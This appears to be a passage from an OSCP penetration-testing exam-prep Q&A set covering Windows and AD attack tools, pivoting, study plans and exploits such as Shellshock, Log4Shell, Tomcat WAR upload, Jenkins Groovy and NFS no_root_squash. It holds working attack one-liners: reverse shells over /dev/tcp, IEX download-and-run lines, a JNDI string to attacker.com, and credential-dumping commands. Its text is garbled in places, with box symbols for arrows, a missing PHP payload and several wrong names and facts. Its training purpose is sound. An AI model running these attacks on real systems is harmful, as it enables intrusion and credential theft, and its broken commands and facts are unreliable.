Evil-WinRM connects to Windows Remote Management (WinRM) service for interactive PowerShell shell. Requirements: port 5985 (HTTP) or 5986 (HTTPS) open, valid credentials or hash. Password login: 'evil-winrm -i 192.168.x.x -u administrator -p password'. Hash login: 'evil-winrm -i IP -u administrator -H [NT hash only]'. Upload: 'upload /local/path /remote/path' (in evil-winrm shell). Download: 'download /remote/path /local/path'. Load PowerShell scripts: 'evil-winrm -i IP -u user -p pass -s /path/to/scripts/' □ in shell: 'Invoke-PowerShellTcp'. HTTPS: '-S' flag. Example: CrackMapExec identifies WinRM enabled on server □ evil-winrm with domain admin credentials □ interactive PowerShell as domain admin □ run Mimikatz.

Q249 QUESTION

What is Ligolo-ng vs Chisel comparison for OSCP?

ANSWER

Ligolo-ng advantages over Chisel: Creates TUN interface (virtual network adapter) — traffic routed at network level, not application level. Supports: Nmap SYN scan (-sS), UDP scans, ICMP (ping), any protocol. No Proxychains needed — tools work natively. Chisel advantages: simpler setup, widely documented, SOCKS5 proxy easily compatible with Proxychains. Ligolo setup complexity: requires root on Kali (to create TUN interface), but after setup transparent. Chisel setup: simple server/client, no root required on Kali. OSCP recommendation: learn both — Chisel is simpler for beginners, Ligolo is more powerful for complex networks. Both are excellent OSCP pivoting tools. Example comparison: Nmap UDP scan through Chisel: doesn't work via Proxychains. Nmap UDP scan through Ligolo: works perfectly — critical for discovering UDP-only services (SNMP, TFTP) on internal networks.

Q250 QUESTION

What is Rubeus for Kerberos attacks?

ANSWER

Rubeus is a C# Kerberos interaction and abuse toolkit for Windows. Commands: 'Rubeus.exe kerberoast' (Kerberoasting — request TGS hashes for all SPNs), 'Rubeus.exe asreproast' (AS-REP Roasting — offline hash), 'Rubeus.exe dump' (dump all current Kerberos tickets), 'Rubeus.exe ptt /ticket:[base64]' (import ticket), 'Rubeus.exe forge' (Golden/Silver Ticket), 'Rubeus.exe s4u' (constrained delegation abuse), 'Rubeus.exe monitor /interval:5' (monitor for new TGTs — capture when high-priv user authenticates). Usage: transfer Rubeus.exe to Windows target, run in PowerShell or cmd. Example: Compromise domain user □ 'Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt' □ transfer to Kali □ 'hashcat -m 13100 hashes.txt rockyou.txt' □ crack service account password □ escalate.

Q251 QUESTION

What are PowerShell security tools for OSCP?

ANSWER

PowerShell attack tools for OSCP: PowerUp.ps1: privilege escalation checks (Get-ServiceUnquoted, Get-ModifiableServiceFile, Invoke-AllChecks). PowerView.ps1: AD enumeration (Get-NetUser, Get-NetComputer, Invoke-UserHunter). PowerSploit: collection including PowerUp and PowerView. Seatbelt.exe: C# security configuration audit tool (credential locations, security settings, interesting files). Sherlock/Watson.ps1: Windows kernel vulnerability checker. WinPEAS: automated Windows PrivEsc enumeration. Load in memory: 'IEX(New-Object Net.WebClient).DownloadString("http://IP/PowerUp.ps1")' then 'Invoke-AllChecks'. Example: IEX load PowerView □ 'Invoke-UserHunter' □ finds Domain Admin session on machine001 □ compromise machine001 □ steal DA token □ domain compromise.

Q252 QUESTION

What is the OSCP-recommended practice platform?

ANSWER

OSCP preparation platforms: TryHackMe: 'Jr Penetration Tester' path, 'Buffer Overflow Prep' room (essential for OSCP BOF), 'Relevant', 'Steel Mountain', 'Alfred' rooms. HackTheBox (Retired machines — TJNull's OSCP list): Lame, Legacy, Blue, Devel, Optimum, Bastard, Grandpa, Granny, Jerry (easy Windows/Linux). PEN-200 lab: official OSCP lab access. Practice machine list (TJNull): comprehensive list of HackTheBox + VulnHub machines that match OSCP difficulty and style. VulnHub: FristiLeaks, Stapler, Brainpan (BOF), Mr. Robot. ProvingGrounds Practice: Offensive Security's own practice machines (closest to actual exam). Strategy: complete TJNull's list before exam — ensures exposure to all relevant vulnerability types.

Q253 QUESTION

What is Seatbelt for Windows enumeration?

ANSWER

Seatbelt is a C# Windows security configuration 'safety checks' tool. Commands: 'Seatbelt.exe -group=all' (run all checks), 'Seatbelt.exe CredEnum' (credential enumeration), 'Seatbelt.exe PowerShell' (PS logging settings), 'Seatbelt.exe Scheduled Tasks' (task details), 'Seatbelt.exe WindowsDefender' (AV status). Checks include: AMSI providers, AppLocker policy, UAC settings, .NET versions, installed products, environment variables, network shares, running processes, scheduled tasks, credential manager, DPAPI master keys, LAPS status. Transfer: download from GitHub releases → transfer to target → execute. Compare to WinPEAS: Seatbelt is less automated but more modular — run specific checks. Example: 'Seatbelt.exe CredEnum' → lists saved credentials in Windows Credential Manager → 'runas /savedcred' to use.

Q254 QUESTION

What is the Windows Sysinternals suite for OSCP?

ANSWER

Sysinternals tools useful in OSCP post-exploitation: PsExec: remote command execution via SMB — 'psexec.exe \\target -u admin -p pass cmd'. PsInfo: system information. PsList: process list (similar to ps). Accesschk: check permissions on services, files, registry — 'accesschk.exe -wuvv Services' (writable services), 'accesschk.exe /accepteula -uwcqv Users *'. Autoruns: startup programs (equivalent to 'reg query run keys'). Process Explorer: detailed process info (GUI). Strings: extract strings from binary. All Sysinternals tools require /accepteula flag on first run or registry key: 'reg add HKCU\Software\Sysinternals /v EulaAccepted /t REG_DWORD /d 1 /f'. Transfer: download from Microsoft or use pre-installed on Kali for reference.

Q255 QUESTION

What is secretsdump and its usage in OSCP?

ANSWER

impacket-secretsdump extracts credentials from Windows systems remotely or from captured files. Remote (requires admin credentials): 'impacket-secretsdump domain/admin:password@192.168.x.x'. Remote pass-the-hash: 'impacket-secretsdump -hashes LM:NT domain/admin@192.168.x.x'. From files (offline): 'impacket-secretsdump -sam sam -system system -security security LOCAL' (from reg saves). DCSync (from domain user with replication rights): 'impacket-secretsdump -just-dc-ntlm domain/admin:pass@DC_IP'. Output format: username:RID:LM_hash:NT_hash. NT hash: use directly for pass-the-hash. Crack: 'hashcat -m 1000 ntlm_hashes.txt rockyou.txt'. All domain hashes: secretsdump against DC gives every user's hash — including krbtgt for Golden Ticket.

Q256 QUESTION

What is the PowerSploit suite for OSCP?

ANSWER

PowerSploit is a collection of PowerShell post-exploitation modules. Key modules: PowerUp (privilege escalation checks — Invoke-AllChecks), PowerView (AD enumeration), Get-GPPPassword (extract GPP passwords from SYSVOL), Invoke-Mimikatz (PowerShell port of Mimikatz), Get-Keystrokes (keylogger), Get-TimedScreenshot, Invoke-ReflectivePEInjection (inject PE into process memory). Load in memory: 'IEX(New-Object Net.WebClient).DownloadString("http://kali_IP/PowerUp.ps1")'. PowerUp key functions: Get-UnquotedService, Get-ModifiableServiceFile, Get-ServiceUnquoted, Get-RegistryAlwaysInstallElevated, Invoke-AllChecks (run everything). Example: 'IEX...PowerUp.ps1' → 'Invoke-AllChecks' → output: 'ServiceName: VulnSvc | Path: C:\Vuln Path\service.exe | AbuseFunction: Write-ServiceBinary -Name VulnSvc'.

Q257 QUESTION

What is the OSCP tools setup checklist for Kali?

ANSWER

Kali Linux tools checklist for OSCP exam readiness: Install if missing: AutoRecon ('pip3 install autorecon'), ligolo-ng (GitHub releases), Chisel (GitHub releases), evil-winrm ('gem install evil-winrm'), CrackMapExec/NetExec ('pip3 install crackmapexec'), impacket ('pip3 install impacket'). Update searchsploit: 'searchsploit --update'. Test all tools run without errors. Set up aliases in .bashrc: 'alias autorecon="sudo autorecon"'. Wordlists: ensure SecLists installed ('apt install seclists'), rockyou.txt extracted. Tools directory: create /opt/tools/ with: Chisel, ligolo-ng, pspy64, pspy32, linpeas.sh, winpeas.exe, PrintSpoofer.exe, JuicyPotato.exe, nc.exe, nmap static, SharpHound.exe. Start Python HTTP server shortcut: 'alias serve="python3 -m http.server 80"'. Test msfvenom generates payloads. Test Metasploit starts and connects to database. Preparation day before exam — do not setup tools on exam day.

Q258 QUESTION

What is the complete AD attack chain for OSCP?

ANSWER

AD exam chain methodology: Hour 1 — Enumerate all AD machines with Nmap, identify DC and workstations. Run enum4linux-ng on DC. Try AS-REP Roasting without credentials. Try anonymous SMB access. Look for web applications on any AD machine. Hour 2 — Get initial foothold via weakest vector found. On first shell: run BloodHound SharpHound collection, run WinPEAS, enumerate local credentials. Hour 3 — Analyze BloodHound for attack path from owned user to Domain Admin. Pursue path: Kerberoasting, ACL abuse, PtH with found hashes, credential spraying. Hour 4 — Reach Domain Admin or machine with DCSync rights. Run secretsdump against DC. Collect all proof files with proper screenshots. Hour 5 (buffer) — complete report notes for all compromised machines while memory is fresh. AD exam success requires: understanding the attack chain concept (find cred, move laterally, escalate), practice with BloodHound before exam, and speed executing each technique. Practice on HackTheBox machines Forest, Active, Sauna, and Return.

16 OSCP Exam Preparation

14 Qs

Q259 QUESTION

What is the OSCP study plan for 90 days?

ANSWER

90-day OSCP study plan: Days 1-30 (Foundation): PEN-200 course modules 1-15, set up Kali VM, learn Nmap thoroughly, practice gobuster/feroxbuster, complete TryHackMe Jr Pen Tester path. Days 31-60 (Core Skills): PEN-200 modules 16-25 (PrivEsc, AD, BOF), practice Linux PrivEsc on TryHackMe and HackTheBox easy machines (Lame, Legacy, Blue), complete buffer overflow rooms, practice web exploitation with DVWA. Days 61-90 (Exam Prep): PEN-200 lab machines (minimum 30), TJNull HackTheBox list machines, timed practice sessions, ProLabs, automate your methodology. Final week: review all notes, practice report writing, ensure AutoRecon configured, practice collecting proofs, good sleep before exam.

Q260 QUESTION

What are the most common OSCP exam fail reasons?

ANSWER

Common OSCP exam failure reasons: (1) Incomplete enumeration — missing open ports, skipping services; (2) No bonus points — not completing course exercises and 30 lab machines; (3) Poor time management — spending 8+ hours on one machine; (4) Not sleeping — tired brain misses obvious vulnerabilities; (5) Poor documentation — missing screenshots discovered only during report writing; (6) Rabbit holes — pursuing wrong path too long; (7) Buffer overflow panic — not enough practice; (8) Insufficient PrivEsc enumeration — not running WinPEAS/LinPEAS; (9) Forgetting to try default credentials; (10) Report quality — unclear steps, missing screenshots, non-reproducible. Solution: practice methodology until it's automatic, document as you go, practice BOF daily for last 2 weeks.

Q261 QUESTION

What are OSCP enumeration mistakes to avoid?

ANSWER

Critical enumeration mistakes: (1) Only scanning top 1000 ports — service on port 49999 missed; (2) Skipping UDP scan — SNMP on port 161 found there, reveals service accounts; (3) Not checking HTTP on every open port — service on port 8080 has web app; (4) Running gobuster with only common.txt — /backup directory missed; (5) Not checking view-source — credentials in HTML comments; (6) Not running nikto on every web service; (7) Not checking robots.txt; (8) Not enumerating shares after finding SMB; (9) Not trying anonymous FTP; (10) Ignoring version numbers — not searching exact version in searchsploit. Fix: create and use a physical checklist — methodically verify each item before declaring a machine has no vulnerability.

Q262 QUESTION

What are OSCP hints from the community?

ANSWER

Community-sourced OSCP tips: (1) Enumerate. Enumerate. Enumerate. Then enumerate more; (2) Default credentials work on at least one exam machine every attempt; (3) 'If you're not sure, enumerate more' — official Offensive Security advice; (4) The AD set is all or nothing — understand the full chain before attempting; (5) BOF machine is predictable — practice the same methodology 20+ times; (6) Always try credentials on all services (credential spray); (7) Look for credential files in EVERY directory you find; (8) View-source and robots.txt before anything else on web; (9) LinPEAS/WinPEAS run time while you read output from other tools; (10) Take a walk break if stuck for 30 minutes — really works. Every machine is solvable with the skills taught in PEN-200.

Q263 QUESTION

What is the ProLab vs PEN-200 lab difference?

ANSWER

PEN-200 lab: included with OSCP subscription, 70+ standalone and networked machines, access to multiple internal networks via pivoting. ProLabs (separate purchase): Dante (OSCP-like, 14 machines, multiple networks — best OSCP prep), Offshore (AD-focused enterprise simulation), RastaLabs (advanced AD red team), Cybernetics (advanced red team). Dante ProLab: considered closest to actual OSCP exam experience — highly recommended. Access: monthly subscription, separate from OSCP. If budget allows: complete Dante after PEN-200 labs before exam — significantly improves pass rate. HackTheBox Pro Labs (alternative): similar to Dante — Beginner Track ▢ Advanced Track.

Q264 QUESTION

What is the OSCP Active Directory exam approach?

ANSWER

OSCP AD exam set approach (40 points — all or nothing): machines are chained — compromise machine A leads to machine B credentials, which leads to DC. Strategy: (1) Enumerate all AD machines thoroughly; (2) Find initial foothold (web app, SMB, RDP with credentials); (3) After first shell: 'net user /domain', 'net group "Domain Admins" /domain'; (4) Run BloodHound via SharpHound: './SharpHound.exe -c All'; (5) Import to BloodHound — find attack path to DA; (6) Execute path (Kerberoasting, ACL abuse, PtH, etc.); (7) DCSync or compromise DC directly; (8) Collect DA proof.txt from DC. Time budget: 4-6 hours for full AD set. Practice: TryHackMe 'AD Basics', HackTheBox AD machines (Forest, Active, Sauna).

Q265 QUESTION

What is OSCP practical resource list?

ANSWER

OSCP preparation resources: Official: PEN-200 course materials (PWK PDF + videos). Books: 'Penetration Testing' by Georgia Weidman, 'The Hacker Playbook 3' by Peter Kim. YouTube: IppSec (HackTheBox machine walkthroughs — watch retired machines), TCM Security (free courses). Websites: HackTricks (<https://book.hacktricks.xyz>) — comprehensive attack reference, GTFOBins (Linux SUID/sudo escapes), LOLBAS (Windows living off the land), PayloadsAllTheThings (GitHub — injection payloads). Discord communities: OSCP Discord server (official), TryHackMe Discord. Blog posts: countless OSCP writeups from people who passed — search 'OSCP experience blog'. Tools repository: PayloadsAllTheThings GitHub — bookmark this, essential reference.

Q266 QUESTION

What are OSCP post-exam steps?

ANSWER

After OSCP exam: Report submission: submit PDF via portal within 24 hours of exam end. Report quality check: re-read entire report, verify all screenshots present, all steps reproducible, all proof screenshots show whoami+hostname+proof.txt. Result: Offensive Security reviews within 1-3 business days. If passed: certificate emailed, Credly badge issued, OSCP listed on Offensive Security portal — add to LinkedIn, resume, email signature. If failed: review which machines you didn't get, study weaknesses, wait 4-6 weeks before retaking (exam fee required for each attempt). Next certifications: OSCP (wireless), OSEP (advanced Windows evasion and AD), OSWE (web application expert), OSED (exploit development). OSCP is the foundation — path continues.

Q267 QUESTION

What is the OSCP mindset and persistence approach?

ANSWER

OSCP success mindset: Try Harder is not empty advice — it means: exhaust EVERY enumeration avenue, re-read all tool output carefully, take breaks to reset perspective, Google the specific service + version + exploit, ask 'what would I do next if I were a developer — where would I put a backdoor or leave a misconfiguration?'. Persistence: most OSCP machines have a path — if you can't find it, you missed something in enumeration. Average time per machine for successful candidates: 2-4 hours. Record keeping: detailed notes prevent re-doing work. Community: Offensive Security Discord, Reddit r/oscp — get hints after trying for 4+ hours (for lab machines). Exam: don't give up — take a 20-minute break, eat, come back with fresh eyes. The answer is always in the enumeration output — you just haven't found it yet.

Q268 QUESTION

What are the OSCP exam technical requirements?

ANSWER

OSCP exam technical setup: Kali Linux (latest version recommended), stable internet connection (VPN drops = wasted time), proctoring software (Offensive Security uses Examshield or similar — test before exam day), webcam + microphone (proctored), quiet environment. Pre-exam checklist: VPN pack downloaded and tested, all tools installed and tested, note-taking application configured, report template ready, 2 monitors recommended (one for exam, one for notes), coffee prepared, snacks ready. Day before exam: do light lab work, review notes, sleep 8 hours. Exam day: start 30 minutes early to resolve any technical issues. During exam: take screenshots immediately after each success — don't wait.

Q269 QUESTION

What is the difference between OSCP and OSEP?

ANSWER

OSCP vs OSEP: OSCP (PEN-200): foundational penetration testing, basic AD attacks, buffer overflow, web app basics, pivoting. For: beginners to intermediate pentesters, broad foundation. OSEP (PEN-300 — Advanced Evasion Techniques and Breaching Defenses): advanced AV/EDR evasion, complex AD attack chains, AMSI bypasses, custom C2 development, antivirus evasion deep dive. For: OSCP holders wanting to advance. OSEP prerequisites: OSCP or equivalent experience strongly recommended. OSEP exam: 48 hours, much more complex AD environment, requires custom code development. After OSCP path: OSCP → OSEP (active directory expert) → OSED (exploit development) → OSWE (web application) → OSCP Advanced (being developed). Each certification builds on previous knowledge.

Q270 QUESTION

What is the OSCP community and resources?

ANSWER

OSCP community resources: Official: offensive-security.com, PEN-200 course materials, student forums. Reddit: r/oscp (exam experiences, tips, advice), r/netsecstudents. Discord: TryHackMe Discord, HTB Discord, Offensive Security Discord. YouTube channels: IppSec (HTB walkthroughs — don't watch before trying machine yourself), TCM Security (free courses including Practical Ethical Hacking), John Hammond. Blogs: search 'OSCP exam experience' — thousands of detailed reports from people who passed. Key references: HackTricks (book.hacktricks.xyz) — comprehensive attack techniques, GTFOBins, LOLBAS, PayloadsAllTheThings (GitHub). Practice machines: TJNull's OSCP list (GitHub) — curated HTB + VulnHub machines at OSCP level. Most important: actually do machines, don't just read about them.

Q271 QUESTION

What is the OSCP post-exam certification value?

ANSWER

OSCP certification career value: industry recognition as the gold standard entry-level penetration testing certification. Resume impact: OSCP consistently ranks as most-requested certification in penetration testing job postings. Salary: OSCP holders average 15-30% higher salary than non-certified in equivalent roles. Job roles unlocked: junior penetration tester, security consultant, red team operator (entry level), vulnerability researcher. Requirements to maintain: OSCP never expires, no continuing education required — unlike CISSP or CEH. LinkedIn: add as certification, enables direct recruiter contact. Beyond OSCP: add OSEP for red team roles, OSWE for application security roles, OSED for exploit dev roles, CRTE/CRT0 for Active Directory specialist roles. Indian context: OSCP holders in India typically earn 12-25 LPA at top security firms. International opportunities: OSCP recognized globally — enables remote work and international placement. TechShiksha audience: OSCP is the most asked-about certification in IT security career discussions.

Q272 QUESTION

What is web application PrivEsc chain methodology?

ANSWER

Escalating from web application access to root: Initial shell: www-data, apache, nginx, or application service account. Step 1 — sudo check: 'sudo -l' — service accounts sometimes have sudo for specific maintenance commands (GTF0Bins). Step 2 — credential hunting in web root: 'grep -r password /var/www/' finds database passwords in config files. Step 3 — database access: MySQL with found credentials — 'mysql -u root -p' — check for user defined functions, LOAD_FILE capability, INTO OUTFILE to write files. Step 4 — credential reuse: database password as system user password. Step 5 — internal services: 'ss -tulpn' finds services on 127.0.0.1 — port forward to interact with internal admin panels. Step 6 — cron jobs: pspy reveals root executing scripts in web directories. Step 7 — file system: world-writable cron scripts, writable service configs. Step 8 — SUID and capabilities. Example: www-data from PHP exploit, grep finds .env with DB_PASS=Secret2022, 'su user' with same password succeeds, sudo -l shows 'NOPASSWD: /usr/bin/python3', python3 GTF0Bins sudo escape, root shell.

17 Common OSCP Vulnerabilities

14 Qs

Q273 QUESTION

What is EternalBlue (MS17-010) exploitation in OSCP?

ANSWER

EternalBlue (CVE-2017-0144) exploits SMBv1 vulnerability affecting Windows 7/2008 R2 and older. Check: 'nmap --script=smb-vuln-ms17-010 192.168.x.x'. Metasploit: 'use exploit/windows/smb/ms17_010_eternalblue' □ set RHOSTS □ exploit □ SYSTEM shell. Manual: manual EternalBlue exploit scripts on GitHub (for when Metasploit is not available). OSCP note: If Metasploit allowed on this machine — use it. Manual exploitation is complex. Related: DoublePulsar (implant installer), WannaCry (ransomware used EternalBlue). Detection: any Windows 7/2008 without MS17-010 patch is likely vulnerable. Example: Nmap shows SMBv1 enabled on Windows 7 □ smb-vuln-ms17-010 script confirms □ Metasploit exploit □ NT AUTHORITY\SYSTEM shell without credentials.

Q274 QUESTION

What is Shellshock exploitation in OSCP?

ANSWER

Shellshock (CVE-2014-6271) exploits bash function definitions in environment variables. Vulnerable: web servers using CGI scripts that invoke bash, DHCP clients using bash, SSH ForceCommand. Test: 'curl -H "User-Agent: () { :; }; echo; /bin/bash -i >&/dev/tcp/IP/4444 0>&1" http://target.com/cgi-bin/test.cgi'. Nmap: 'nmap --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi target'. Environment variables in CGI: User-Agent, Cookie, Referer, Custom headers. Also vulnerable: DHCP clients, SSH, OpenVPN. Example: Nmap discovers /cgi-bin/status.cgi □ test Shellshock in User-Agent □ 5-second delay with sleep test confirms □ reverse shell via User-Agent Shellshock □ shell as apache user □ sudo -l shows unrestricted □ root.

Q275 QUESTION

What is Drupalgeddon exploitation?

ANSWER

Drupalgeddon2 (CVE-2018-7600) is unauthenticated RCE in Drupal 7 and 8. Detection: check Drupal version in page source (/CHANGELOG.txt, /core/CHANGELOG.txt). Exploit: Python scripts available on GitHub and ExploitDB. Metasploit: 'use exploit/unix/webapp/drupal_drupalgeddon2'. Manual: 'python3 drupalgeddon2.py http://target.com' □ interactive shell. Drupalgeddon3 (CVE-2018-7602): requires authenticated user but lower privilege needed. Example: WhatWeb identifies Drupal 7.54 □ searchsploit 'drupal 7' □ finds drupalgeddon2 □ 'python3 exploit.py http://target.com' □ webshell access □ 'id' returns www-data □ check sudo □ unrestricted □ root.

Q276 QUESTION

What is Tomcat Manager exploitation in OSCP?

ANSWER

Tomcat Manager console allows WAR file deployment □ code execution. Find: gobuster finds /manager/html. Default credentials: tomcat/tomcat, admin/admin, admin/password, tomcat/s3cret. Metasploit: 'use exploit/multi/http/tomcat_mgr_upload' □ set credentials □ SYSTEM/tomcat service account. Manual: create WAR with msfvenom □ 'msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 -f war -o shell.war' □ upload via Manager □ curl trigger URL. WAR deployment: Tomcat Manager □ 'WAR file to deploy' □ Browse □ shell.war □ Deploy □ access /shell/ to trigger. Example: gobuster finds /manager □ default credentials work □ deploy WAR □ reverse shell as tomcat □ 'sudo -l' □ unrestricted □ root.

Q277 QUESTION

What is Jenkins exploitation in OSCP?

ANSWER

Jenkins automation server has built-in Groovy script console ☐ command execution. Find: default port 8080, port forward if only on localhost. Access: unauthenticated (if misconfigured), default admin/admin credentials, or user enumeration. Script Console path: Manage Jenkins ☐ Script Console. Groovy command execution: 'def cmd = "id".execute(); println cmd.text'. Reverse shell via Groovy: 'String host="IP"; int port=4444; String cmd="bash"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket s=new Socket(host,port); InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); OutputStream po=p.getOutputStream(),so=s.getOutputStream(); while(!s.isClosed()){...}'. Example: Port scan finds 8080 locally ☐ SSH port forward ☐ Jenkins login page ☐ admin/admin works ☐ Script Console ☐ Groovy reverse shell ☐ jenkins service account shell.

Q278 QUESTION

What is WebDAV exploitation in OSCP?

ANSWER

WebDAV extends HTTP with file management — PUT method allows uploading files. Detection: 'nmap --script=http-webdav-scan target' or OPTIONS request shows PROPFIND, PUT methods. Test upload: 'curl -X PUT http://target.com/webdav/test.txt -d "test"'. If writable: upload webshell. Authentication: may require credentials found during enumeration. Davtest: 'davtest -url http://target.com/webdav/' — tests which file types executable. Cadaver: WebDAV client — 'cadaver http://target.com/webdav/' ☐ interactive file management. Upload ASPX shell: 'cadaver http://target.com/webdav/' ☐ 'put shell.aspx' ☐ access /webdav/shell.aspx. Example: IIS with WebDAV enabled ☐ davtest shows .asp executable ☐ upload shell.asp ☐ access URL ☐ shell as IIS AppPool ☐ SeImpersonatePrivilege ☐ SYSTEM.

Q279 QUESTION

What is log4j (Log4Shell) in OSCP context?

ANSWER

Log4Shell (CVE-2021-44228) is critical RCE in Apache Log4j 2.0-2.14.1 — affects Java applications using Log4j for logging. CVSS 10.0 — no authentication required, unauthenticated RCE. Attack: inject JNDI lookup string in any logged field: '\${jndi:ldap://attacker.com/a}'. Logged by application ☐ JNDI lookup to attacker's server ☐ loads malicious Java class ☐ RCE. Fields to inject: User-Agent, X-Forwarded-For, username, any user-controllable input that gets logged. Tools: ysoserial, JNDI-Exploit-Kit, log4j-scan. Detection: Burp Collaborator for OOB detection, log4j-scan automated tool. Example: Login page ☐ set User-Agent to '\${jndi:ldap://kali:1389/a}' ☐ JNDI-Exploit-Kit receives connection ☐ sends malicious payload ☐ RCE as Java application user.

Q280 QUESTION

What is PHP type juggling in OSCP web exploitation?

ANSWER

PHP type juggling vulnerabilities occur when PHP loosely compares values with '==' instead of '==='. Example: '0 == "php"' is TRUE in PHP (string starting with non-numeric converts to 0). Hash bypass: if login checks 'hash == 0e1234...' — any hash starting with '0e' compares equal to 0. Magic hashes: 'QNKCDZO' ☐ MD5 ☐ '0e830400451993494058024219903391' (0e value) — equals any other 0e hash with ==. Exploit: register user with QNKCDZO as password ☐ login with another 0e MD5 hash password ☐ authentication bypass. Array bypass: 'md5([1,2,3])' returns NULL — compare with null — may bypass. Find: look for PHP source code, loose comparison in authentication logic.

Q281 QUESTION

What is path traversal to RCE chain in OSCP?

ANSWER

Path traversal escalated to RCE through multiple techniques. Log poisoning chain: (1) Find LFI — `?file=../../../../etc/passwd` works; (2) Poison Apache log — inject PHP via User-Agent: `'curl -A "" http://target.com/';` (3) Include log — `?file=../../../../var/log/apache2/access.log&c=id`; (4) Command injection $\square$ reverse shell. PHP session poisoning: (1) LFI to read PHP sessions — `'/tmp/sess_[PHPSESSID]'`; (2) Inject PHP code in session-stored value; (3) Include session file — RCE. `/proc/self/environ` poisoning: inject PHP in `HTTP_USER_AGENT` $\square$ include `/proc/self/environ` $\square$ RCE. Example: LFI confirmed on `blog.php?page=` $\square$ log poisoning $\square$ include `access.log` $\square$ 'id' returns `www-data` $\square$ full reverse shell $\square$ PrivEsc via `sudo`.

Q282 QUESTION

What is vsftpd 2.3.4 backdoor exploitation?

ANSWER

vsftpd 2.3.4 has a backdoor introduced by malicious code in the official release. Trigger: username containing ':' (smiley face) opens a shell on port 6200. Detection: `'nmap -sV -p 21 target'` shows 'vsftpd 2.3.4'. Test: `'telnet target 21' \square '220 vsFTPD 2.3.4' banner \square type 'USER test:' \square 'PASS anypass' \square connect to port 6200`. Metasploit: `'use exploit/unix/ftp/vsftpd_234_backdoor'`. Manual: netcat two-step: connect to port 21, send `USER test:` and `PASS test`, then connect to port 6200. Gives: root shell (vsftpd often runs as root). Related: ProFTPD 1.3.3c — similar backdoor (port 6200). Example: Nmap shows vsftpd 2.3.4 $\square$ telnet trigger $\square$ port 6200 gives root shell immediately.

Q283 QUESTION

What is Heartbleed (CVE-2014-0160) in OSCP?

ANSWER

Heartbleed is a critical vulnerability in OpenSSL 1.0.1 through 1.0.1f — leaks server memory (64KB per request), may expose private keys, session tokens, credentials. Detection: `'nmap -p 443 --script=ssl-heartbleed target' \square 'State: VULNERABLE'`. Exploit: `'python heartbleed.py -p 443 target'` (public PoC scripts). Leaked data: may contain usernames, passwords, session cookies in memory — run multiple times to collect different memory snapshots. Strings to look for in output: 'password', 'user', 'session', 'token', 'Authorization'. Memory contains: currently active SSL sessions, crypto material (rarely private keys in practice). OSCP: if found, use heartbleed PoC script to dump memory, `grep` for credentials, use any found credentials for SSH/web login.

Q284 QUESTION

What are misconfigured NFS exploitation techniques?

ANSWER

NFS misconfiguration allows unauthorized access to shared filesystems. Check exports: `'showmount -e 192.168.x.x'`. Mountable share: `'mount -t nfs 192.168.x.x:/share /mnt/nfs -o nolock'`. `no_root_squash`: root on attacker machine = root on NFS share. Exploit: (1) Mount share $\square$ create SUID bash as root: `'cp /bin/bash /mnt/nfs/bash && chmod 4755 /mnt/nfs/bash'`; (2) On target: `'/shared/bash -p' \square root shell`. `no_all_squash`: preserves client user UID — if UID matches file owner, access granted. UID matching: create local user with same UID as target file owner $\square$ access their files on NFS. Example: `'/home` exported with `no_root_squash' \square mount \square 'cp /bin/bash /mnt/home/bash' \square 'chmod +s /mnt/home/bash' \square SSH to target \square '/home/bash -p' \square root shell from SUID bash.`

Q285 QUESTION

What are Drupal exploitation techniques in OSCP?

ANSWER

Drupal exploitation paths: Version detection: check `/CHANGELOG.txt` (Drupal 7) or `/core/CHANGELOG.txt` (Drupal 8/9), WhatWeb, check `/user/login` page for version hints. Drupalgeddon2 (CVE-2018-7600): unauthenticated RCE on Drupal 7.x < 7.58 and 8.x < 8.5.1. Exploit: `'python3 drupalgeddon2.py http://target.com'` — returns webshell. Drupalgeddon3 (CVE-2018-7602): requires auth but low privilege. Database credentials: `/sites/default/settings.php` contains database connection — if readable (LFI or direct access), extracts DB password. Admin credentials reuse: crack hash from database, admin panel `□` PHP filter module `□` arbitrary code execution. Example: `CHANGELOG.txt` shows Drupal 7.54, searchsploit confirms drupalgeddon2 applies, run exploit script, get `www-data` shell, `cat /sites/default/settings.php` gets MySQL password, same password on `/etc/passwd` user, `sudo -l` shows unrestricted, root.

Q286 QUESTION

What is the OSCP practice machine methodology?

ANSWER

Effective OSCP practice machine approach: Setup: `'mkdir -p ~/oscp/machine/{scans,exploits,loot,notes}'`. Start AutoRecon: `'autorecon IP -o ~/oscp/machine/scans'`. Enumeration phase (30 min): review AutoRecon output, create service list, run additional targeted tools. Research phase (15 min): searchsploit each service/version, list potential vulnerabilities. Exploitation phase (45 min): quick wins first, then methodical attack of each vector, document every attempt. Post-exploitation (15 min): upgrade shell, run LinPEAS/WinPEAS, document all findings. PrivEsc (30 min): quick wins list, document path to root. Documentation (10 min): screenshot proof, write notes. Review: after rooting, check if faster path existed, what you missed. Time limit: if not rooted in 2.5 hours on practice — read a hint, understand the path, then practice it. Do not just read walkthroughs — actually execute the attacks. Measure improvement: track time per machine, aim for under 90 minutes per easy machine, 2-3 hours for medium.

18 OSCP Scenario Practice

14 Qs

Q287 QUESTION

Walk through a complete Linux OSCP machine compromise.

ANSWER

Complete Linux machine walkthrough: (1) Nmap: 'nmap -sV -sC -p- --min-rate 5000 target' ▢ finds ports 22(SSH), 80(HTTP), 8080(HTTP-alt); (2) Gobuster on :80 ▢ finds /admin (403), /uploads (200), /backup.zip (200); (3) Download backup.zip ▢ contains PHP source code ▢ find SQLi in search.php; (4) sqlmap on search parameter ▢ extracts users table ▢ admin:hash; (5) Hashcat cracks ▢ admin:adminpass123; (6) Login to /admin ▢ file upload ▢ bypass extension filter (.php5) ▢ upload webshell; (7) Webshell ▢ reverse shell as www-data; (8) LinPEAS ▢ cron job running /opt/cleanup.sh as root, file writable by www-data; (9) Inject reverse shell into cleanup.sh ▢ wait 1 minute ▢ root shell; (10) cat /root/proof.txt ▢ done.

Q288 QUESTION

Walk through a complete Windows OSCP machine compromise.

ANSWER

